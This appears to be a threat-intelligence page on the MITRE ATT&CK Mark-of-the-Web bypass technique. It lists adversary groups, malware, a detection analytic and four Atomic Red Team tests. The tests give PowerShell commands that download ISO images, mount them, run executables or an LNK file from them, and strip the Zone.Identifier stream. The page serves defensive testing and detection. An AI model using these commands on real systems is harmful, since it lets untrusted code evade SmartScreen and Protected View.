tfMITRE ATT&CK sub-technique

Mark-of-the-Web Bypass T1553.005

sub-technique of T1553 Subvert Trust Controls

Tactic: Defense Impairment
Platform: Windows
Version: 2.0
Created: 22 February 2021
Last modified: 12 May 2026
Contributor: Christiaan Beek, @ChristiaanBeek

Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.[1] Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.[2][3][4]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups64th pct

Threat groups64th percentile · 64% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware51st pct

Tools & malware51st percentile · 51% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 23%

Detection rules77th percentile · 77% of ATT&CK techniques have this many detection rules written or fewer.

Mark-of-the-Web Bypass MITRE reference T1553.005

64th pctamong all ATT&CK techniques for number of groups

3 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

TA505G0092 ↗

Has used .iso files to deploy malicious .lnk files.1

created 2019-05-281 referenceaka Hive0065

APT38G0082 ↗

Has used ISO and VHD files to deploy malware and to bypass Mark-of-the-Web (MOTW) security measures.1

created 2019-01-291 referenceaka NICKEL GLADSTONE

APT29G0016 ↗

Has embedded ISO images and VHDX files in HTML to evade Mark-of-the-Web.1

created 2017-05-311 referenceaka IRON RITUAL

All 3 groups for this technique

2 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

AmadeyS1025 ↗

Has modified the :Zone.Identifier in the ADS area to zero.1

created 2022-07-14MALWAREcarried by 2 groups

QakBotS0650 ↗

Has been packaged in ISO files in order to bypass Mark of the Web (MOTW) security measures.1

created 2021-09-27MALWAREcarried by 3 groups

All 2 software entries for this technique

Offense vs defense T1553.005

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 6Splunk ESCU (cumulative) · 5

first rule: 2022 Q1

Mark-of-the-Web Bypass detection strategy DET0257

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect Mark-of-the-Web (MOTW) Bypass via Container and Disk Image Files

Enterprise

1 platform

AN0712 · Windows

Detects extraction or mounting of container/archive files (e.g., .iso, .vhd, .zip) that originated from the Internet but whose contained files lack Zone.Identifier MOTW tagging. Correlates file creation metadata with subsequent execution of unsigned or untrusted binaries launched outside SmartScreen or Protected View.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File CreationDC0039	WinEventLog:Sysmon	EventCode=11
File AccessDC0055	WinEventLog:Security	EventCode=4663, 4670, 4656
File MetadataDC0059	WinEventLog:Sysmon	EventCode=15

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
WatchedExtensions	Adjust monitored file types (e.g., .iso, .vhd, .zip, .gz, .rar) based on enterprise usage
TimeWindow	Defines correlation window between extraction/mount and first execution of inner files
TrustedExtractionTools	Whitelist known enterprise archivers and deployment mechanisms to reduce false positives

Tests4ExecutorsPowerShell 4Need elevation1 of 4Have prerequisites4Have cleanup4Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Mount ISO image

windows

PowerShell

—

Yes

Mounts ISO image downloaded from internet to evade Mark-of-the-Web. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, and mount the image. The provided sample ISO simply has a Reports shortcut file in it. Reference: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/

Input arguments

Name	Type	Default	Description
path_of_iso	path	PathToAtomicsFolder\T1553.005\bin\T1553.005.iso	Path to ISO file

Attack command

Mount-DiskImage -ImagePath "#{path_of_iso}"

Cleanup command

Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null

Prerequisite

T1553.005.iso must exist on disk at specified location (#{path_of_iso})

Check

if (Test-Path "#{path_of_iso}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{path_of_iso}") -ErrorAction ignore | Out-Null
Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/T1553.005.iso -OutFile "#{path_of_iso}"

GUID41488a83-a7f4-4cc0-916e-2f06ee0a94a8

Mount an ISO image and run executable from the ISO

windows

PowerShell

Required

Yes

Mounts an ISO image downloaded from internet to evade Mark-of-the-Web and run hello.exe executable from the ISO. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, mount the image, and run the executable from the ISO image that will open command prompt echoing "Hello, World!". ISO provided by:https://twitter.com/mattifestation/status/1398323532988399620 Reference:https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/,

Input arguments

Name	Type	Default	Description
path_of_iso	path	PathToAtomicsFolder\T1553.005\bin\FeelTheBurn.iso	Path to ISO file

Attack command

Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly
$keep = Get-Volume -FileSystemLabel "TestIso"
$driveLetter = ($keep | Get-Volume).DriveLetter
invoke-item "$($driveLetter):\hello.exe"

Cleanup command

Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null
Stop-process -name "hello" -Force -ErrorAction ignore

Prerequisite

FeelTheBurn.iso must exist on disk at specified location (#{path_of_iso})

Check

if (Test-Path "#{path_of_iso}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{path_of_iso}") -ErrorAction ignore | Out-Null
Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/FeelTheBurn.iso -OutFile "#{path_of_iso}"

GUID91a25a55-cafb-4fac-94f1-c26ed6c5bc71

Remove the Zone.Identifier alternate data stream

windows

PowerShell

—

Yes

Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet. Removing this allows more freedom in executing scripts in PowerShell and avoids opening files in protected view.

Input arguments

Name	Type	Default	Description
file_path	string	$env:tmp\ReadMe.md	File to have the Zone.Identifier removed.
file_to_download	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/README.md	File that will be downloaded to test against.

Attack command

Unblock-File -Path #{file_path}

Cleanup command

Set-Content -Path #{file_path} -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'

Prerequisite

A test file with the Zone.Identifier attribute must be present.

Check

if (Test-Path #{file_path}) { EXIT 0 } else { EXIT 1 }

Satisfy

Invoke-WebRequest #{file_to_download} -OutFile #{file_path}
Set-Content -Path #{file_path} -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'

GUID577550a4-1b97-4924-9c09-ecb5a70f0792

Execute LNK file from ISO

windows

PowerShell

—

Yes

Executes LNK file document.lnk from AllTheThings.iso. Link file executes cmd.exe and rundll32 to in order to load and execute AllTheThingsx64.dll from the ISO which spawns calc.exe.

Input arguments

Name	Type	Default	Description
path_of_iso	path	PathToAtomicsFolder\T1553.005\bin\AllTheThings.iso	Path to ISO file

Attack command

Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly
$keep = Get-Volume -FileSystemLabel "AllTheThings"
$driveLetter = ($keep | Get-Volume).DriveLetter
$instance = [activator]::CreateInstance([type]::GetTypeFromCLSID("{c08afd90-f2a1-11d1-8455-00a0c91f3880}"))
$instance.Document.Application.ShellExecute($driveLetter+":\document.lnk","",$driveLetter+":\",$null,0)

Cleanup command

Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null

Prerequisite

AllTheThings.iso must exist on disk at specified location (#{path_of_iso})

Check

if (Test-Path "#{path_of_iso}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{path_of_iso}") -ErrorAction ignore | Out-Null
Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/AllTheThings.iso -OutFile "#{path_of_iso}"

GUID63826d45-e8a3-48cd-aaf0-bb14d98f70d6

Tests from Atomic Red Team (MIT licence) · technique definition

Mark-of-the-Web Bypass detections T1553.005

11 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 23%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs